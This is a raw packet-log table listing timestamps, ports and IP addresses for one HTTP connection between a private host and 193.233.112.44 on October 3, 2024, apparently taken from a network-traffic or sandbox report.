Oct 3, 2024 23:17:10.924458027 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.924468994 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.924473047 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.924490929 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.924503088 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.924707890 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.924724102 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.924736977 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.924751997 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.924760103 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.924767971 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.924782991 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.924786091 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.924808025 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.924825907 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.925187111 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.925203085 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.925216913 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.925229073 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.925232887 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.925241947 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.925250053 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.925255060 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.925267935 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.925312042 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.925319910 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.925327063 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.925333977 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.925364017 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.925370932 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.925378084 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.925386906 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.925467014 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.925962925 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.925976992 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.925992966 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.926012039 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.926026106 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.927536964 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.927552938 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.927567959 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.927582979 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.927593946 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.927606106 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.927690983 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.927706957 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.927721977 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.927736044 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.927736998 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.927747965 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.927752018 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.927759886 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.927778959 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.927784920 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.927937984 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.927953959 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.927968979 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.927983046 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.927983999 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.928003073 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.928023100 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.928206921 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.928221941 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.928236961 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.928251028 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.928261995 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.928280115 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.928352118 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.928366899 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.928395033 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.928406000 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.928427935 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.928443909 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.928457975 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.928469896 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.928482056 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.928488970 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.928494930 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.928504944 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.928519964 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.928529978 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.928539038 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.928551912 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.942508936 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.942565918 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.942572117 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.942585945 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.942609072 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.942620993 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.942673922 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.942688942 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.942703962 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.942718029 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.942718029 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.942733049 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.942744970 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.942759991 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.942894936 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.942943096 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.942987919 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.943018913 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.943032026 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.943032980 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.943048000 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.943053961 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.943061113 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.943093061 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.943219900 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.943236113 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.943250895 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.943264008 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.943273067 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.943281889 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.943310022 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.955773115 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.955807924 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.955821991 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.955831051 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.955843925 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.955857992 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.955986023 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.956001043 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.956016064 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.956031084 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.956032991 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.956042051 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.956048012 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.956058979 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.956087112 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.956087112 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.956270933 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.956286907 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.956300974 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.956315994 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.956316948 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.956324100 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.956334114 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.956341028 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.956347942 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.956367016 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.956384897 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.956420898 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.997349977 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.997402906 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.997417927 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.997437000 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.997458935 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.997524977 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.997540951 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.997555971 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.997570038 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.997586012 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.997595072 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.997629881 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.997765064 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.997812033 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.997842073 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.997857094 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.997872114 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.997885942 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.997885942 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.997894049 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.997915030 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.997926950 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.998069048 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.998085022 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.998099089 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.998111010 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.998114109 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.998121977 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.998142004 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.998152018 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.998315096 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.998353958 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.998367071 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.998369932 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.998387098 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.998393059 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.998405933 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.998424053 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.998539925 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.998554945 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.998569965 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.998581886 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.998593092 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.998604059 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:11.014070988 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:11.014087915 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:11.014101982 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:11.014273882 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:11.014288902 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:11.014305115 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:11.014411926 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:11.014426947 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:11.014426947 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:11.014426947 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:11.014451981 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:11.014473915 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:11.014597893 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:11.014612913 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:11.014628887 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:11.014638901 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:11.014643908 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:11.014652967 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:11.014661074 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:11.014671087 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:11.014683008 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:11.014700890 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:11.014709949 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:11.014725924 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:11.014754057 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:11.014763117 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:11.015033007 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:11.015047073 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:11.015060902 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:11.015075922 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:11.015084982 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:11.015091896 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:11.015098095 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:11.015106916 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:11.015115976 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:11.015131950 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:11.015139103 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:11.015146971 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:11.015152931 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:11.015162945 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:11.015162945 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:11.015187979 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:11.015199900 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:11.015535116 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:11.015549898 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:11.015566111 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:11.015578985 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:11.015585899 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:11.015594959 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:11.015605927 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:11.015609980 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:11.015625000 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:11.015634060 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:11.015654087 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:11.015997887 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:11.016030073 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:11.016052961 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:11.016063929 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:11.016068935 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:11.016074896 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:11.016086102 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:11.016093969 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:11.016103029 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:11.016113043 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:11.016124964 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:11.016129017 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:11.016144991 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:11.016145945 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:11.016161919 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:11.016169071 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:11.016176939 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:11.016180992 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:11.016192913 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:11.016201973 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:11.016208887 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:11.016216040 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:11.016225100 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:11.016228914 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:11.016239882 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:11.016241074 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:11.016258955 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:11.016266108 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:11.016274929 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:11.016292095 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:11.016730070 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:11.016772985 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:11.018049002 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:11.018098116 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:11.018100977 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:11.018115044 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:11.018140078 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:11.018151999 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:11.018203020 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:11.018218040 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:11.018233061 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:11.018248081 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:11.018249035 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:11.018271923 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:11.018294096 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:11.018484116 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:11.018498898 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:11.018515110 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:11.018527031 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:11.018528938 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:11.018537998 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:11.018552065 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:11.018564939 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:11.018681049 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:11.018697023 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:11.018711090 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:11.018726110 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:11.018726110 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:11.018747091 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:11.018767118 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:11.018996954 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:11.019011021 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:11.019040108 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:11.019040108 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:11.019047976 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:11.019057989 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:11.019073963 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:11.019089937 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:11.019093037 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:11.019100904 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:11.019105911 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:11.019114971 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:11.019134045 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:11.019143105 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:11.019412041 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:11.019459009 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:11.033215046 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:11.033229113 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:11.033243895 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:11.033267021 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:11.033284903 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:11.033308983 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:11.033324003 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:11.033339024 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:11.033349991 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:11.033354998 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:11.033369064 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:11.033380032 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:11.033399105 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:11.033911943 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:11.033927917 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:11.033962965 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:11.033965111 CEST	80	49710	193.233.112.44	192.168.2.5
